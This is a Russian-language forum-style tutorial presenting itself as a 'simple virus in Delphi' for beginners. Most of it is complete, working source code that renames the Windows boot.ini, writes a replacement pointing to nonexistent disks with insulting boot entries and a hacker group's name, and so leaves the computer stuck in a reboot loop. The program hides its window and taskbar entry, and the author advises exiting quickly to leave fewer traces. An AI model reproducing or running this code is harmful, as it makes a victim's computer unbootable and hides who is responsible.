Пример простого вируса на Delphi

Буду крат0к, 0риентируясь на непр0свещёную публику 0пишу всё д0 мельчайших п0др0бн0стей и с использованием библиотек, начинающие всё п0ймуть а знающие п0дхватять идею))) Писать кстати будем на Delphi.
Всё началось с т0г0 чт0 один мой друг попросил помощи в решение одной задачи. Задача являлась следущая уничтожить файл boot.ini защищёный от удаления и изменения. Кто незнает boot.ini отвечает за выбор ОС при запуске компьютера. У меня сразу возникла мысль как можно решить эту проблему в несколько строк и не писать длинный код для получения привилегий администратора. Мы просто переменуем файл boot.ini и созданим новый со своим текстом))) Выглядеть это будет так:

Код:
var Ini: Tinifile;                                 //Обьявить выше перед begin

SysUtils.RenameFile('C:\boot.ini','C:\00000.ini'); //Переменовываем boot.ini в 00000.ini
Ini:=TiniFile.Create('C:\boot.ini');               //Создаём новый boot.ini
                                                   // Далее пишем начинку
Ini.WriteInteger('boot loader','timeout',-1);      // Вывод на экран меню выбора ОС
Ini.WriteString('operating systems','multi(77)disk(77)rdisk(77)partition(77)\WINDOWS',#34+'You Stuping Fucker'+#34+' /noexecute=optin /fastdetect'); //Пишем 1вую строку выбора с какимнить приколом )))
Ini.WriteString('operating systems','multi(88)disk(88)rdisk(88)partition(88)\WINDOWS',#34+'SKORP-CORP Hack Group'+#34+' /noexecute=optin /fastdetect'); //Незабудьте прославить себя )) хотя слава эта относительная :\
Ini.Free;                                          //Освобождаем переменную

Вот такой вот незамысловатый код. С использованием библиотеки "inifiles" (Её кстати надо будет добавить в uses), можнобыло конечно написать на чистом API но не буду вас грузить для начала вам хватит чтобы понять как работуют вирусы))) Кстати как вы заметили я указал несуществующие диски 77 и 88 для того чтобы при истечении времени или выбори одного из них компьютер опять перезагружался и возвращался к выбору ОС )) Вот такой вот порочный круг. Если же вы ничерта не смыслите в программирование и впервый раз видете окна Delphi то предоставляю самой простой но жирненький с точки зрения компиляции код всего исполняемого файла:

Код:
unit Unit1;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, StdCtrls, inifiles;

type
  TForm1 = class(TForm)
    procedure FormCreate(Sender: TObject);
    procedure FormActivate(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation

{$R *.dfm}

procedure TForm1.FormCreate(Sender: TObject);
var Ini: Tinifile;
begin
SysUtils.RenameFile('C:\boot.ini','C:\1bwcfasf32fad3xzfxwZat.ini');
Ini:=TiniFile.Create('C:\boot.ini');
Ini.WriteInteger('boot loader','timeout',-1);
Ini.WriteString('operating systems','multi(77)disk(77)rdisk(77)partition(77)\WINDOWS',#34+'You Stuping Fucker'+#34+' /noexecute=optin /fastdetect');
Ini.WriteString('operating systems','multi(88)disk(88)rdisk(88)partition(88)\WINDOWS',#34+'SKORP-CORP Hack Group'+#34+' /noexecute=optin /fastdetect');
Ini.Free;
Form1.Visible := false; //Скрываем форму
end;

procedure TForm1.FormActivate(Sender: TObject);
begin
showwindow(application.handle,sw_hide); // Скрываем на панели
end;

end.

Опять же тут оочень много вариантов можно просто дописать "Close();" после строки "Ini.Free;" так как более программа не нужна! Чем меньше следов тем лудше как говоритс0 "Мавр сделал дело, Мавр может уходить." всё лиш на ваше усмотрение)))) Удачи в кодинге и не попадайтесь на такие удочки! )))